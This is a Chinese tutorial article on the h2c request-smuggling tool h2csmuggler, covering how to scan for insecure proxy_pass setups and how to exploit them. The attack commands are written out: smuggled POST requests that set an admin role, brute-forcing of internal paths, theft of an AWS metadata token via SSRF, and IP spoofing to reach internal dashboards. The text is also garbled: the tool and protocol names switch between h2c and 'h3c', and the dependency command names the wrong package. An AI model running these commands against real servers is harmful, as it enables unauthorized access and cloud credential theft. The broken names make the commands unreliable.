温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

隐蔽性极强的HTTP2明文通信工具h2csmuggler怎么用

发布时间:2021-12-16 18:09:45 来源:亿速云 阅读:131 作者:柒染 栏目:网络管理

这期内容当中小编将会给大家带来有关隐蔽性极强的HTTP2明文通信工具h2csmuggler怎么用,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

工具介绍

h3csmuggler是一款隐蔽性极强的HTTP/2明文通信工具,该工具能够使用h3c兼容的后端服务器来建立HTTP/2明文(h3c)通信,并隐藏HTTP流量以通过不安全的边缘服务器proxy_pass配置:

隐蔽性极强的HTTP2明文通信工具h2csmuggler怎么用

如何测试?

该工具适用于任何一个能够转发h3c更新Header的代理终端节点。因为h3c本身理应只在明文通信信道上执行,在HTTPs服务中进行检测的话一般结果都会报真阳性。

相反,HTTP服务则有可能产生假阳性结果。比如说,启用了h3c的代理可能会直接响应更新Header,而不是将其转发至一个h3c后端。

广大研究人员可以使用--scan-list选项来测试一个或多个Web服务器以寻找受影响的proxy_pass终端节点。建议大家使用一个目录列表来进行目录枚举,比如说下面这个URL文本文件(urls.txt):

https://www.example.com/

https://www.example.com/api/

https://www.example.com/auth/

https://www.example.com/admin/

https://www.example.com/payments/

...omitted for brevity...

下面的命令将使用h3cSmuggler扫描urls.txt,并定义扫描线程数量:

./h3csmuggler.py --scan-list urls.txt --threads 5

或者,也可以直接使用下列命令扫描单个节点:

./h3csmuggler.py -x https://www.example.com/api/ --test

工具利用

当我们识别出了一个受影响节点之后,我们就可以利用它来进行信息传输了。现在,我们可以访问或爆破一台后端服务器的内部终端节点,然后提供自定义的语句或Header。在下面的例子中,我们将演示如何利用h3c的数据隐藏功能来绕过代理拒绝规则,并访问内部/flag终端节点。

工具依赖

该工具唯一的依赖组件就是Python hyper-h3库,安装代码如下:

pip3 install h3

测试环境和Demo

这个测试环境将允许我们在一个受控环境下使用h3cSmuggler进行测试。docer-compose将会模拟三条指向已启用h3c的Golang后端服务器的代理:

TCP port: Description

========  ===========

8000:     HTTP h3c backend

8001:     HAProxy -> h3c backend (Insecure default configuration)

8002:     nginx -> h3c backend  (Insecure custom configuration)

8003:     Nuster -> HAProxy -> h3c backend (Insecure configuration with multiple layers of proxies)

我们可以使用下列命令生成证书并与docker-compose环境绑定:

# Generate certs

./configs/generate-certificates.sh

 

# Activate services

docker-compose up

接下来,我们尝试通过HAProxy服务器(端口8001)来访问那些被禁止访问的终端节点:

隐蔽性极强的HTTP2明文通信工具h2csmuggler怎么用

我们可以使用h3cSmuggler的--test(或-t)选项来确认代理的不安全配置:

隐蔽性极强的HTTP2明文通信工具h2csmuggler怎么用

现在,我们使用h3cSmuggler来执行一次h3c更新,我们通过代理来传输我们的HTTP/2流量,然后向后端服务器请求访问/flag节点,并绕过代理的访问控制:

隐蔽性极强的HTTP2明文通信工具h2csmuggler怎么用

工具使用

h3cSmuggler使用了类curl语句来处理请求:

usage: h3csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]

                      [url]

 

Detect and exploit insecure forwarding of h3c upgrades.

 

positional arguments:

  url

 

optional arguments:

  -h, --help            show this help message and exit

  --scan-list SCAN_LIST

                        list of URLs for scanning

  --threads THREADS     # of threads (for use with --scan-list)

  --upgrade-only        drop HTTP2-Settings from outgoing Connection header

  -x PROXY, --proxy PROXY

                        proxy server to try to bypass

  -i WORDLIST, --wordlist WORDLIST

                        list of paths to bruteforce

  -X REQUEST, --request REQUEST

                        smuggled verb

  -d DATA, --data DATA  smuggled data

  -H HEADER, --header HEADER

                        smuggled headers

  -m MAX_TIME, --max-time MAX_TIME

                        socket timeout in seconds (type: float; default 10)

  -t, --test            test a single proxy server

  -v, --verbose

工具使用样例

1、扫描URL地址列表来识别受影响的终端节点:

./h3csmuggler.py --scan-list urls.txt --threads 5

或者,将数据结果重定向到目标文件:

./h3csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt

2、发送特制的POST请求来绕过边缘服务器并抵达内部节点:

./h3csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions

3、使用HTTP/2多路复用爆破内部节点:

/h3csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/

4、利用Host Header SSRF,获取令牌:

./h3csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`

发送令牌:

./h3csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/

5、使用X-Forwarded-For Header实现IP地址欺骗,并访问内部节点仪表盘:

./h3csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard

上述就是小编为大家分享的隐蔽性极强的HTTP2明文通信工具h2csmuggler怎么用了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注亿速云行业资讯频道。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI